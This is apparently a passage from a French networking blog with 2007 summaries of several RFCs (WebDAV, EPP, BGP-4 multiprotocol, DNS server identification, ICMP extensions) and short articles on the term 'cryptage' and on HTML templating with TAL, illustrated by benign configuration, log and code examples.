RFC 4918: HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)

Date de publication du RFC : Juin 2007
Auteur(s) du RFC : L. Dusseault (Commerce.net)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF webdav
Première rédaction de cet article le 2 juillet 2007


Ce RFC spécifie une nouvelle version du protocole WebDAV (Web Distributed Authoring and Versioning), initialement décrit dans le RFC 2518. Les changements sont peu nombreux.

WebDAV étend le protocole HTTP pour faciliter le travail en groupe sur les ressources distribuées via le Web. HTTP offrait déjà des moyens de modifier une ressource (une ressource est en général un document) par les commandes PUT et DELETE, en plus des commandes permettant d'y accéder (GET), mais elles étaient peu utilisées en dehors de certaines applications REST. WebDAV étend les possibilités de ces commandes, notamment par le concept de collection (un groupe de ressources) et par celui de versions, décrit dans le RFC 3253, dit Delta-V. En outre, il ajoute des nouvelles commandes comme :

  • PROPFIND pour récupérer la liste des propriétés (métadonnées) d'une ressource,
  • LOCK et UNLOCK pour mettre et retirer des verrous sur les ressources, afin d'éviter qu'un auteur ne marche sur les pieds d'un autre.

Les réponses à ces nouvelles commandes sont formulées en XML et, comme dans la plupart des RFC récents, notre RFC recommande dans l'appendice A.2 d'être très prudent avec le traditionnel principe Be liberal in what you accept and conservative in what you send, principe qui, sur le Web, a fait plus de mal que de bien.

WebDAV est un protocole complexe (notre RFC est plutôt gros et il faut déjà connaitre HTTP pour le lire) et qui n'est qu'un succès mitigé. En pratique, il semble que la plupart des gens qui maintiennent un site Web chargent leur fichier en FTP ou bien directement en TTW, Through The Web, c'est-à-dire via leur navigateur et un formulaire, comme on peut le faire avec la plupart des CMS.

L'un des utilisateurs le plus connus de WebDAV est Subversion dont c'est le principal protocole d'accès au dépôt. Un serveur Subversion est donc un serveur WebDAV étendu (car WebDAV ne suffisait pas, tout gros qu'il soit), en général un Apache avec les modules dav et dav_svn. Voici par exemple une configuration typique d'Apache pour Subversion :


LoadModule dav_module /usr/lib/apache2/modules/mod_dav.so
LoadModule dav_svn_module /usr/lib/apache2/modules/mod_dav_svn.so

<VirtualHost *:443>
        ServerAdmin webmaster@example.net
        ServerName svn.example.net

        SSLEngine on 
        SSLCertificateFile /etc/apache2/apache.pem

        <Location />
              DAV svn
             
              SVNPath /home/Subversion-Repository

             AuthType Basic
             AuthName "Subversion Repository"
             require valid-user
        </Location>

</VirtualHost>

On voit alors dans le journal du serveur les requêtes spécifiques à WebDAV, ici un PROPFIND lors d'un svn update :

192.0.2.69 - bortzmeyer [29/Mar/2007:12:05:35 +0200] "PROPFIND / HTTP/1.1" 207 629 "-" "SVN/1.4.2 (r22196) neon/0.26.2" 0 svn.example.net

Et ici la séquence d'ajout d'un nouveau fichier (par svn commit) qui se fait en déposant un fichier temporaire avec PUT, puis en le déplaçant avec MERGE - commande qui vient du RFC 3253 - avant de détruire le fichier temporaire avec DELETE :

192.0.2.69 - bortzmeyer [29/Mar/2007:12:06:59 +0200] "PUT /!svn/wrk/9c36d042-47ac-41d6-a455-b8a6091f6a3c/README HTTP/1.1" 201 225 "-" "SVN/1.4.2 (r22196) neon/0.26.2" 0 svn.example.net
192.0.2.69 - bortzmeyer [29/Mar/2007:12:06:59 +0200] "MERGE / HTTP/1.1" 200 933 "-" "SVN/1.4.2 (r22196) neon/0.26.2" 0 svn.example.net
192.0.2.69 - bortzmeyer [29/Mar/2007:12:06:59 +0200] "DELETE /!svn/act/9c36d042-47ac-41d6-a455-b8a6091f6a3c HTTP/1.1" 204 - "-" "SVN/1.4.2 (r22196) neon/0.26.2" 0 svn.example.net

Il semble y avoir peu de logiciels qui gèrent WebDAV, le principal sur Unix étant cadaver. Voici un exemple d'utilisation de cadaver pour envoyer des fichiers sur un serveur DAV :

% cadaver http://tmp.example.org:9701/tests_perf
Authentication required for Tests de performance on server `tmp.example.org':
Username: tester
Password: 

dav:/tests_perf/>   mput *
[Matching... 4 matches.]
Uploading AFNIC-2-Renater-Paris.pcap.gz to `/tests_perf/AFNIC-2-Renater-Paris.pcap.gz':
Progress: [=============================>] 100.0% of 289 bytes succeeded.
Uploading AFNIC-2-INRIA-Montbonnot.pcap.gz to `/tests_perf/AFNIC-2-INRIA-Montbonnot.pcap.gz':
Progress: [=============================>] 100.0% of 292 bytes succeeded.
Uploading Nerim-2-Renater-Paris.pcap.gz to `/tests_perf/Nerim-2-Renater-Paris.pcap.gz':
Progress: [=============================>] 100.0% of 289 bytes succeeded.
Uploading Nerim-2-INRIA-Montbonnot.pcap.gz to `/tests_perf/Nerim-2-INRIA-Montbonnot.pcap.gz':
Progress: [=============================>] 100.0% of 292 bytes succeeded.

dav:/tests_perf/> quit
Connection to `tmp.example.org' closed.

Mais on trouve du WebDAV en plusieurs endroits, par exemple comme protocole d'accès pour des serveurs de fichiers.

Le groupe de travail WebDAV de l'IETF a eu un parcours assez difficile et vient seulement d'être dissous, après dix ans d'existence, ce qui est extrêmement long pour l'IETF. Finalement, cette mise à jour du RFC 2518 n'apporte que des changements de détails, qui sont décrits dans l'appendice F.


Téléchargez le RFC 4918


L'article seul

RFC 4882: IP Address Location Privacy and Mobile IPv6: Problem Statement

Date de publication du RFC : Mai 2007
Auteur(s) du RFC : R. Koodli (Nokia Siemens)
Pour information
Première rédaction de cet article le 29 juin 2007


La protection de la vie privée sur Internet suscite de plus en plus d'intérêt à l'IETF, d'autant plus que certaines techniques comme la mobilité peuvent aggraver la diffusion d'informations confidentielles. Notre RFC explique le problème.

Lorsqu'une machine A correspond avec une machine B, celle-ci apprend l'adresse IP de A, c'est inévitable. B apprend aussi beaucoup d'autres choses (par exemple via les cookies Web) qui, mises ensemble, peuvent représenter une sérieuse menace pour la vie privée. Dès qu'on cherche un peu, on est étonné du nombre de moyens qu'il existe pour détecter des choses que le correspondant voulait cacher. Par exemple, l'analyse du temps de réponse du correspondant peut donner une idée de la distance, et donc permettre de savoir quand un portable a quitté son « port d'attache ».

En effet, dans le cas de la mobilité IP, de nouvelles vulnérabilités apparaissent. La mobilité « traditionnelle » où la machine en déplacement (on parle de MN pour Mobile Node) acquiert une nouvelle adresse IP à chaque réseau visité, typiquement par DHCP, avait déjà ses propres dangers. Si le correspondant du MN, le CN (Corresponding Node), peut découvrir un invariant du MN (par exemple un cookie Web envoyé ou, de manière plus sophistiquée, une signature du comportement de l'horloge de la machine, le CN peut littéralement suivre à la trace le MN et déterminer sa position approximative, comme si votre téléphone GSM révélait à vos correspondants votre position !

La mobilité IPv6, décrite dans le RFC 3775, a deux modes de fonctionnement, le mode « normal » (reverse tunneling) où tout le trafic passe par un routeur sur le réseau principal du MN (et où le CN ne voit donc pas l'actuelle adresse IP du MN, la « care-of address ») et un mode « optimisé » où le passage par le routeur « de la maison » (Home Agent) n'est plus obligatoire et qui retrouve donc le même inconvénient qu'avec DHCP pur. Chacun de ses deux modes a ses propres défauts pour la protection de la vie privée et notre RFC les détaille. La section 4 est particulièrement vivante dans son exposé des risques qui guettent le malheureux utilisateur d'un PC portable.

Notre RFC ne propose pas de solution, il explique les problèmes à résoudre et donne une idée des compromis qu'il faudra sans doute faire.


Téléchargez le RFC 4882


L'article seul

Régler les problèmes de MTU et de MSS

Première rédaction de cet article le 27 juin 2007
Dernière mise à jour le 3 septembre 2007


Les liens Internet dont la MTU est plus faible que les traditionnels 1500 octets rencontrent souvent de nombreux problèmes, qui frappent particulièrement les transferts TCP. Quelles sont les solutions pratiques ?


L'article complet

RFC 4907: Architectural Implications of Link Indications

Date de publication du RFC : Juin 2007
Auteur(s) du RFC : B. Aboba (IAB)
Pour information
Première rédaction de cet article le 25 juin 2007


Un RFC de l'IAB pour décrire l'usage que peuvent faire les protocoles Internet des indications envoyées par la couche Liaison (couche 2) du réseau.

Dans le traditionnel modèle en couches, que notre RFC rappelle dans sa jolie figure 1, la couche 2 ou couche de liaison (Link layer) peut donner aux couches supérieurs des indications utiles, par exemple que le lien fonctionne (Link Up) ou bien justement qu'il ne fonctionne pas (Link Down). Mais la réalité est bien plus complexe et ce RFC la détaille.

Ces indications sont typiquement transitoires (un lien, surtout les liens radio, qui sont le principal exemple donné dans le RFC, tombe en panne, remarche, etc). La section 1.4 est toute entière consacrée aux nombreuses méthodes existantes pour utiliser les indications de la couche 2. Il y en a beaucoup car aucune n'est idéale. Par exemple, sur un Ethernet 100base-T, il peut être tentant d'utiliser les indications données par le commutateur pour déterminer si le lien fonctionne ou pas. Mais un commutateur défaillant peut établir le signal, sans pour autant commuter les paquets. L'information de lien doit donc être utilisée avec prudence, les protocoles doivent toujours faire leurs propres tests (par exemple, OSPF (RFC 2328) ne se fie qu'à ses paquets Hello). Et c'est pire pour les liens radio, où la qualité du signal peut varier énormément. Bref, une machine qui se fierait aveuglément aux indications de la couche 2 pourrait avoir des faux positifs (le lien semble marcher mais les paquets ne passent pas) et des faux négatifs (le lien est tombé mais c'est transitoire, il ne faut pas interrompre les sessions TCP pour si peu). Ces problèmes sont également décrits dans le RFC 4436 qui propose une méthode pour savoir si la liaison réseau fonctionne, sans compter sur la couche 2 pour le dire.

La section 2 du RFC décrit en détail les règles qui doivent suivre les protocoles qui veulent utiliser les indications de la couche liaison. Par exemple, ceux-ci doivent résister à des indications erronnées de la couche 2.

La section 4 est consacrée aux questions de sécurité car les messages de la couche liaison sont en général non authentifiés et un atatquant peut donc relativement facilement simuler des évenements comme Link Down.

Enfin, une longue et détaillée annexe A passe en revue l'abondante littérature sur le sujet, notamment sur les protocoles sans fil, littérature qui montre que l'état d'un lien n'est pas aussi binaire (Up/Down) qu'on pourrait le penser.


Téléchargez le RFC 4907


L'article seul

RFC 4843: An IPv6 Prefix for Overlay Routable Cryptographic Hash Identifiers (ORCHID)

Date de publication du RFC : Avril 2007
Auteur(s) du RFC : P. Nikander (Ericsson), J. Laganier (DoCoMo), F. Dupont (CELAR)
Chemin des normes
Première rédaction de cet article le 23 juin 2007


Une nouvelle pierre dans la construction d'une éventuelle future architecture Internet séparant identificateur et localisateur, depuis remplacée par le RFC 7343.

Les ORCHID sont des identificateurs dont la forme est celle d'une adresse IPv6 (afin de pouvoir être utilisés dans les API qui attendent des adresses IP). Ils sont typiquement utilisés dans le cadre de protocoles comme HIP (RFC 4423). Pour les distinguer, notre RFC réservait le préfixe 2001:10::/28 (rendu depuis, suite au RFC 7343). Si vous voyez une telle « adresse IP », ne vous attendez pas à pouvoir la « pinguer », elle n'a pas vocation à être routable, c'est un pur identificateur.

Comme les adresses CGA (RFC 3972), les ORCHID sont signées cryptographiquement, la section 2 de notre RFC détaillant le mécanisme de construction d'une ORCHID.


Téléchargez le RFC 4843


L'article seul

RFC 4892: Requirements for a Mechanism Identifying a Name Server Instance

Date de publication du RFC : Juin 2007
Auteur(s) du RFC : S. Woolf (ISC), D. Conrad (ICANN)
Pour information
Réalisé dans le cadre du groupe de travail IETF dnsop
Première rédaction de cet article le 22 juin 2007


Autrefois, tout était plus simple, les serveurs de noms DNS étaient simplement identifiables par leur adresse IP et on savait donc toujours à quel serveur on s'adressait. Mais un certain nombre d'innovations techniques assez récentes comme l'anycast ont rendu le déboguage plus difficile. D'où l'importance d'un nouveau mécanisme pour trouver à quel serveur on parle.

A priori, si je pose une question à 192.93.0.4, une et une seule machine peut répondre à la question posée, non ? Eh bien non, en raison de l'anycast (voir le RFC 4786) et des répartiteurs de charge. Plusieurs machines peuvent désormais se « cacher » derrière une même adresse. Normalement, on ne s'en aperçoit même pas mais, s'il y a un problème, par exemple si elles se désynchronisent, il est nécessaire de pouvoir déterminer à quelle machine physique on parle.

La méthode traditionnelle, popularisée par le logiciel BIND était d'utiliser une requête de la classe CH (pour CHAOS), classe inutilisée et donc disponible. Essayons sur f.root-servers.net, qui est anycasté :


% dig @f.root-servers.net CH TXT hostname.bind   
...
;; ANSWER SECTION:
hostname.bind.          0       CH      TXT     "cdg1b.f.root-servers.org"

On voit qu'on est tombé sur l'instance parisienne de cette machine (l'ISC identifiant ses machines par le code à trois lettres de l'aéroport international le plus proche, ici Roissy / CDG).

Mais cette méthode, qui n'avait jamais été normalisée ou documentée a ses limites, que décrit notre RFC :

  • Elle est spécifique, y compris dans son nom, à BIND (mais son concurrent NSD la met également en œuvre, vous pouvez tester avec k.root-servers.net, également anycasté et utilisant NSD).
  • Et, surtout, elle nécessite une requête séparée, qui n'arrivera pas forcément au même serveur de noms que la requête originale (le routage ayant pu changer pendant ce temps).

Notre RFC pose donc le cahier des charges pour un remplaçant. Celui-ci devra :

  • Garder une excellente propriété de la solution actuelle, le fait qu'elle fonctionne sur le DNS et ne nécessite donc pas d'ouvrir un nouveau port dans le coupe-feu ou d'installer un logiciel supplémentaire,
  • Mais faire en sorte que l'identification du serveur passe désormais dans la même session.

Un projet existe déjà pour ce nouveau système, utilisant EDNS (RFC 6891). Adopté par l'IESG, il n'est pas encore publié en RFC.


Téléchargez le RFC 4892


L'article seul

RFC 4760: Multiprotocol Extensions for BGP-4

Date de publication du RFC : Janvier 2007
Auteur(s) du RFC : T. Bates (Cisco), R. Chandra (Sonoa), D. Katz, Y. Rekhter (Juniper)
Chemin des normes
Première rédaction de cet article le 20 juin 2007


Le protocole BGP distribue aujourd'hui des centaines de milliers de routes dans tout l'Internet. Spécifié uniquement pour IPv4 à l'origine, BGP peut aussi servir à d'autres protocoles, comme IPv6.

BGP est le seul protocole de routage utilisé aujourd'hui sur l'Internet pour échanger des routes entre opérateurs. Ce protocole, normalisé dans le RFC 4271, n'était à l'origine prévu que pour IPv4. L'Internet d'aujourd'hui compte de plus en plus de routes IPv6 et il était donc nécessaire de pouvoir également les distribuer. Même chose pour les labels MPLS (RFC 3107). BGP est donc devenu multi-protocoles avec le RFC 2283 puis avec le RFC 2858, dont notre RFC est le successeur.

À spécifier, cela va vite et le RFC est très court. Deux nouveaux attributs BGP, MP_REACH_NLRI et MP_UNREACH_NLRI apparaissent donc pour porter des routes indépendamment du protocole. Chaque route est marqué avec le type d'adresse (address family) utilisé, par exemple 2 pour IPv6, et les adresses sont donc de longueur variable, dépendant du type.

Les changements par rapport au prédécesseur, le RFC 2858 ne sont que de détail, par exemple la suppression d'une option pour un routage combiné de l'unicast et du multicast, option qui n'a jamais été réellement déployée.


Téléchargez le RFC 4760


L'article seul

« Cryptage » n'existe pas en français

Première rédaction de cet article le 19 juin 2007


On voit souvent le terme de « cryptage » apparaitre dans les articles ou messages au sujet de la cryptographie. Mais ce terme n'existe pas en français et, pire, représente une erreur de compréhension.

Revenons sur la cryptographie. Un message (le « texte en clair ») qu'on veut rendre illisible à un espion est transformé par un algorithme paramétré par une clé (une suite de nombres). La connaissance de l'algorithme et de la clé est normalement nécessaire pour opérer la transformation inverse et donc pour lire le message.

Mais certaines techniques, collectivement regroupées sous le nom de cryptanalyse permettent parfois de retrouver le message même sans connaitre la clé. C'est ainsi que sont nés les termes :

  • chiffrer = « coder » le texte en clair, grâce à la clé, pour produire un texte chiffré, illisible,
  • déchiffrer = « décoder » (retrouver le texte en clair) quand on connaît le « code » (le fonctionnement normal),
  • décrypter = « décoder » quand on ne connaît pas le « code » (grâce à la cryptanalyse).

« crypter » voudrait donc dire « coder » sans clé, n'importe comment, sans aucune possibilité de « décoder » après opération.

Wikipédia, à juste titre, note que « le chiffrement est parfois appelé à tort cryptage » mais a la gentillesse de rediriger vers l'article Chiffrement lorsqu'on cherche Cryptage.

Il y a peu de dictionnaires de français utilisable en ligne (le premier étant bien sûr le Wiktionnaire). Le Trésor de la Langue Française ne connait, lui, ni cryptage, ni chiffrement ! Le Larousse cite cryptage sans commentaire et sans rien y comprendre. Le Dictionnaire de l'Académie Française, accessible en ligne via le CNRTL, me permettra de presque terminer cet article sur un argument d'autorité : il ne connait que chiffrement et pas cryptage (« Cette forme est introuvable ! », neuvième édition).

Le livre de référence sur la cryptanalyse est bien sûr « The code breakers » de David Kahn, mais dont je déconseille la traduction française, très boguée. Sinon, le plus ancien texte public que j'ai trouvé sur ce faux terme de « crypter » date de 1999. Beaucoup plus récemment, en 2011, il y a eu un bon article d'explication avec schémas chez Ryfe.


L'article seul

RFC 4930: Extensible Provisioning Protocol (EPP)

Date de publication du RFC : Mai 2007
Auteur(s) du RFC : S. Hollenbeck (Verisign)
Chemin des normes
Première rédaction de cet article le 17 juin 2007


Les registres, par exemple les registres de noms de domaine fonctionnent parfois sur un modèle registry/registrar c'est-à-dire, où le client final doit passer par un intermédiaire, le registrar pour enregistrer son nom de domaine. Le registrar souhaite en général avoir un protocole de communication avec le registre afin d'automatiser ses opérations, dans son langage de programmation favori. EPP, décrit dans ce RFC, est un de ces protocoles d'avitaillement (provisioning, et merci à Olivier Perret pour la traduction). (EPP n'emploie pas le terme de registrar mais celui de sponsoring client, plus neutre. EPP peut donc en théorie être utilisé en cas de vente directe.)

Notre RFC remplace le premier RFC sur EPP, le RFC 3730, mais les changements sont mineurs, essentiellement des bogues qui se produisent assez rarement dans la pratique, même si le registre du .eu a réussi à violer la norme XML en câblant en dur le préfixe d'espace de noms epp dans leur code, ce qui a nécessité une modification dans la section 2 de notre RFC pour rappeler que c'était interdit.

À son tour, notre RFC 4930 a été remplacé, par le RFC 5730, là encore avec peu de modifications.

EPP a été réalisé sur la base du cahier des charges dans le RFC 3375. Au lieu de s'appuyer sur les protocoles classiques de communication comme XML-RPC ou SOAP, ou même sur l'architecture REST, EPP crée un protocole tout nouveau, consistant en l'établissement d'une connexion (authentifiée) puis sur l'échange d'éléments XML, spécifiés dans le langage W3C Schemas.

Par exemple, l'ouverture de la connexion se fait en envoyant l'élément XML <login> :


<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0"
     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
     xsi:schemaLocation="urn:ietf:params:xml:ns:epp-1.0
     epp-1.0.xsd">
  <command>
    <login>
      <clID>ClientX</clID>
      <pw>foo-BAR2</pw>
      <newPW>bar-FOO2</newPW>
      <options>
        <version>1.0</version>
        <lang>fr-CA</lang>
      </options>
      <svcs>
        <objURI>urn:ietf:params:xml:ns:obj1</objURI>
        <objURI>urn:ietf:params:xml:ns:obj2</objURI>
        <objURI>urn:ietf:params:xml:ns:obj3</objURI>
      </svcs>
    </login>
    <clTRID>ABC-12345</clTRID>
  </command>
</epp>

Un des points délicats de la conception d'un tel protocole est que chaque registre a sa propre politique d'enregistrement et ses propres règles. Quoi que dise ou fasse l'ICANN, cette variété va persister. Par exemple, l'expiration automatique d'un domaine existe dans .com mais pas dans .eu ou .fr. Le protocole EPP ne prévoit donc pas d'éléments pour gérer telle ou telle catégorie d'objets (les domaines mais aussi les serveurs de noms ou les contacts). Il doit être complété par des mappings, des schémas dont certains sont spécifiés pas l'IETF comme le domain mapping (gestion des domaines) dans le RFC 4931. Plusieurs registres utilisent des mappings non-standard, pour s'adapter à leurs propres règles d'enregistrement, ce qui limite la portabilité des programmes EPP. C'est ce qu'ont fait les brésiliens ou les polonais.

Complexe, EPP n'a guère eu de succès chez les registres existants, sauf ceux qui refaisaient complètement leur logiciel comme .be. On notera que certains gros TLD comme .de n'utilisent pas EPP (Denic utilise son protocole MRI/RRI). Il existe d'autres protocoles d'avitaillement comme :

et beaucoup d'autres qui ne semblent pas forcément documentés publiquement.

Il existe plusieurs mises en œuvres d'EPP en logiciel libre par exemple le serveur EPP OpenReg de l'ISC, le logiciel Fred du registre de .cz ou bien le client EPP Net::DRI de Patrick Mevzek.


Téléchargez le RFC 4930


L'article seul

RFC 4931: Extensible Provisioning Protocol (EPP) Domain Name Mapping

Date de publication du RFC : Mai 2007
Auteur(s) du RFC : S. Hollenbeck (Verisign)
Chemin des normes
Première rédaction de cet article le 17 juin 2007


Le protocole d'avitaillement EPP ne spécifie pas comment représenter les objets qu'on crée, détruit, modifie, etc. Cette tâche est déléguée à des RFC auxiliaires comme le nôtre (remplacé depuis par le RFC 5731), consacré aux noms de domaine.

EPP permet à un client de créer, détruire et modifier des objets de types différents. En pratique, EPP n'est utilisé que dans l'industrie des noms de domaine mais, en théorie, il pourrait être utilisé pour n'importe quel type d'objets.

Le type n'est donc pas spécifié dans le protocole EPP de base, normalisé dans le RFC 4930, mais dans des RFC supplémentaires. Par exemple, celui qui fait l'objet de cet article spécifie le type (EPP dit le mapping) pour les noms de domaine.

Ce type est spécifié (section 4 du RFC) dans le langage W3C XML Schema.

On note que ce schéma, se voulant adaptable à de nombreux registres différents, ne colle parfaitement à la politique d'aucun. Par exemple, <infData> est spécifié ainsi :


    <sequence>
      <element name="registrant" type="eppcom:clIDType"
       minOccurs="0"/>
      <element name="contact" type="domain:contactType"
       minOccurs="0" maxOccurs="unbounded"/>
      <element name="ns" type="domain:nsType"
       minOccurs="0"/>

ce qui veut dire que des « règles métier » très courantes comme « un titulaire et un seul » ou bien « au moins deux serveurs de noms » ne sont pas respectés avec le schéma EPP seul.

Ce RFC remplace son prédécesseur, le RFC 3731 mais ce ne sont que des modifications de détail. Lui-même a ensuite été remplacé par le RFC 5731.

Voici un exemple d'une réponse à une requête <epp:info> pour le domaine example.com :


<response>
  <result code="1000">
    <msg>Command completed successfully</msg>
  </result>
  <resData>
    <domain:infData
     xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
      <domain:name>example.com</domain:name>
      <domain:roid>EXAMPLE1-REP</domain:roid>
      <domain:status s="ok"/>
      <domain:registrant>jd1234</domain:registrant>
      <domain:contact type="admin">sh8013</domain:contact>
      <domain:contact type="tech">sh8013</domain:contact>
      <domain:ns>
        <domain:hostObj>ns1.example.com</domain:hostObj>
        <domain:hostObj>ns1.example.net</domain:hostObj>
      </domain:ns>
      <domain:host>ns1.example.com</domain:host>
      <domain:host>ns2.example.com</domain:host>
      <domain:clID>ClientX</domain:clID>
      <domain:crID>ClientY</domain:crID>
      <domain:crDate>1999-04-03T22:00:00.0Z</domain:crDate>
      <domain:upID>ClientX</domain:upID>
      <domain:upDate>1999-12-03T09:00:00.0Z</domain:upDate>
      <domain:exDate>2005-04-03T22:00:00.0Z</domain:exDate>
      <domain:trDate>2000-04-08T09:00:00.0Z</domain:trDate>
      <domain:authInfo>
        <domain:pw>2fooBAR</domain:pw>
      </domain:authInfo>
    </domain:infData>
  </resData>
...

On y voit les serveurs de noms du domaine, ns1.example.com et ns1.example.net, son titulaire, identifié par un code, ici jd1234, sa date de création, le 3 avril 1999, etc.

De même, pour créer un domaine, on appele <epp:create> avec des éléments de l'espace de nom urn:ietf:params:xml:ns:domain-1.0, par exemple :


<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
  <command>
    <create>
      <domain:create
       xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
        <domain:name>example.com</domain:name>
        <domain:period unit="y">2</domain:period>
        <domain:ns>
          <domain:hostObj>ns1.example.com</domain:hostObj>
          <domain:hostObj>ns1.example.net</domain:hostObj>
        </domain:ns>
        <domain:registrant>jd1234</domain:registrant>
...


Téléchargez le RFC 4931


L'article seul

Générer du HTML avec TAL

Première rédaction de cet article le 16 juin 2007


Un programme comme un CGI qui doit générer des pages HTML a tout intérêt à passer par un langage de gabarits comme TAL.

Du simple CGI à la grosse usine à gaz, tout programme accessible par le Web a besoin de produire du HTML pour l'envoyer au navigateur. Il peut, et cela s'est fait pendant longtemps, fabriquer cet HTML entièrement lui-même à coups de (ici en C) :

printf("<p>Il ne faut <em>surtout</em>plus programmer en C.<p>\n");

mais cette technique fait courir un risque élevé d'envoyer du HTML invalide ; au milieu des printf, on perd facilement de vue le code HTML généré. En outre, il est difficile avec cette technique de garder les différentes pages produites par le programme en parfaite cohérence.

Si le HTML produit est du XHTML, on peut faire mieux en faisant générer le fichier XML par un programme avec une bibliothèque qui fait une grande partie du travail comme ElementTree en Python. Mais cela veut dire qu'au lieu de travailler avec un fichier XML relativement lisible par tous, on va travailler avec un source Perl ou Java, ce qui n'est certainement pas un progrès, surtout si le XHTML doit pouvoir être modifié par un non-programmeur.

Une autre approche, et qui fait l'objet de ce court article, est d'utiliser le langage TAL. Sa grande force est qu'un document XML comportant du TAL reste un document XML et peut donc être manipulé par des outils XML. Mieux, TAL n'utilise que des attributs XML ce qui limite le risque de conflit avec, par exemple, des éditeurs XHTML qui pourraient s'étonner de rencontrer des élements XML inconnus.

Pour fabriquer du HTML à partir de TAL, on écrit donc un ou plusieurs fichiers XHTML dont les éléments sont ornés d'attribus TAL, par exemple :


<p>Il ne faut <em>surtout</em> plus programmer en <span
class="language" tal:content="language"/>.</p>

L'attribut tal:content va dire à TAL de mettre dans le corps de l'attribut <span> la valeur de la variable language. Si celle-ci vaut PHP, TAL va produire :


<p>Il ne faut <em>surtout</em> plus programmer en <span
class="language">PHP</span>.</p>

On le voit, TAL garantit que le XML va rester du XML et qu'il sera valide même après l'expansion des variables.

Quelles sont les différentes possibilités d'attributs TAL ? Les principales :

  • tal:content, déjà vu, met la valeur de la variable comme contenu de l'élément,
  • tal:replace remplace tout l'élément par la valeur de la variable,
  • tal:repeat effectue une boucle sur la valeur de la variable, ce qui est très pratique pour les listes et les tableaux,

La valeur d'une variable TAL peut être une donnée ordinaire mais peut aussi être un gabarit TAL, ce qui permet des les emboîter.

Voici un exemple simple, où un programme gère une une base de données. Un gabarit TAL sert à toutes les pages :


<?xml version="1.0" ?>                                                  
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">                                                                
<html>                                                                                 
  <head>                                                                               
     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>              
     <link rel="stylesheet" type="text/css" href="/css/registry.css" media="screen"/>  
     <title tal:content="title">The title</title>                                      
  </head>                                                                              
  <body>                                                                               
      <h1 tal:content="title">The title</h1>                                           
      <div class="content" tal:content="structure content">The content</div>      
      <p><a href="/">Home</a></p>                                                    
      <hr class="beforefooter"/>
      <p>This site comes without warranty.</p>
  </body>                                                                              
</html>

Les éléments <title> et <h1> vont prendre comme contenu la valeur de la variable title. L'élément <div> de classe content va recevoir, lui, un autre gabarit TAL (d'où le mot-clé structure dans le tal:content).

Une simple page comme la page d'accueil utilisera, pour le contenu, un gabarit comme :


<div>                                                                                  
<p>This is just an experimental Web site. Do not ask questions about it, it is just to
 experiment.</p>                                                                       
<p>To get <a href="/getall">all the registry</a>.</p>                              
</div>                                                                                 

qui sera passé comme variable content.

Par contre, une page plus complexe, mettons celle qui va afficher toute la base de données, va avoir besoin de boucle :


<div>                                                                                  
<h2>All the registry</h2>                                                              
<table>                                                                     
<tr><th>Thing</th><th>Origin</th><th>Creation</th></tr>                                 
<tr tal:repeat="thing allthings">
      <td><a tal:attributes="href thing/value" tal:content="thing/value"/></td>
      <td tal:content="thing/origin"/>
      <td tal:content="thing/created"/>
      <td><a tal:attributes="href string:${thing/value}?delete=yes">Delete it</a></td>
</tr>             
</table>                                                                               
</div>                                                                                 

Ce gabarit nous montre des fonctions plus avancées de TAL :

  • tal:repeat prend deux arguments, la variable de boucle (ici thing) et le tableau à parcourir (ici allthings).
  • La notation avec un / qui permet d'accéder aux champs d'une variable (ici, une thing a trois champs, value, origin et created).
  • tal:attributes qui permet de calculer les attributs, ici de l'élement <a>,
  • Enfin, la notation avec le ${...} qui permet de séparer ce qui est variable (ici thing/value) de ce qui est constant (ici l'option delete=yes).

Pour incarner ces gabarits avec des vrais valeurs, utilisons l'implémentation SimpleTal en Python. Le programme comportera :

from simpletal import simpleTAL, simpleTALES, simpleTALUtils

html_page = open("general.xml")
home_content = open("home.xml")

template = simpleTAL.compileXMLTemplate(html_page)
home_template = simpleTAL.compileXMLTemplate(home_content)
context = simpleTALES.Context()

result = simpleTALUtils.FastStringOutput()

context.addGlobal("title", "My home page")
context.addGlobal("content", home_template)
template.expand (context, result)
print result.getvalue()

et l'exécution de ce programme produira la page d'accueil en HTML.

Pour le tableau, le programme est presque le même :

from simpletal import simpleTAL, simpleTALES, simpleTALUtils
import time

html_page = open("general.xml")
list_content = open("list.xml")

template = simpleTAL.compileXMLTemplate(html_page)
list_template = simpleTAL.compileXMLTemplate(list_content)
context = simpleTALES.Context()

# Extract from the database. Here, we simulate:
db_content = [
    {'value': "foo", 'origin': "France", 'created': time.time()},
    {'value': "bar", 'origin': "Brazil", 'created': time.time()},
    {'value': "baz", 'origin': "Turkey", 'created': time.time()},
    ]
context.addGlobal("allthings", db_content)

result = simpleTALUtils.FastStringOutput()

context.addGlobal("title", "My database")
context.addGlobal("content", list_template)
template.expand (context, result)
print result.getvalue()

Une version complète de ce dernier programme est publiée en rest-sql-unicode-exemple.html.


L'article seul

RFC 4884: Extended ICMP to Support Multi-Part Messages

Date de publication du RFC : Avril 2007
Auteur(s) du RFC : R. Bonica (Juniper), D. Gan, D. Tappan, C. Pignataro (Cisco)
Chemin des normes
Première rédaction de cet article le 16 juin 2007


Le protocole ICMP permet d'inclure une partie du datagramme qui a déclenché l'émission du paquet ICMP. Avec ce RFC, cette partie est désormais dotée d'une structure, permettant son analyse et sa transformation.

ICMP (RFC 792) sert à beaucoup de choses mais une de ses utilisations les plus connues est l'émission d'un paquet ICMP par un routeur lorsqu'un datagramme ne peut pas être transmis par ce routeur, par exemple lorsqu'il n'existe pas de route vers la destination ou bien lorsque le nombre maximal de routeurs à franchir a été dépassé (cette dernière fonction est à la base de traceroute).

Pour aider à l'analyse du paquet ICMP (quel datagramme a déclenché le problème ? à qui était-il destiné ? que contenait-il ?), ICMP prévoit depuis la début la possibilité d'inclure le début du datagramme « fautif » dans le paquet ICMP. Mais ce bout de datagramme n'avait pas de structure précise, même pas d'indication de sa longueur, et son analyse était donc parfois délicate.

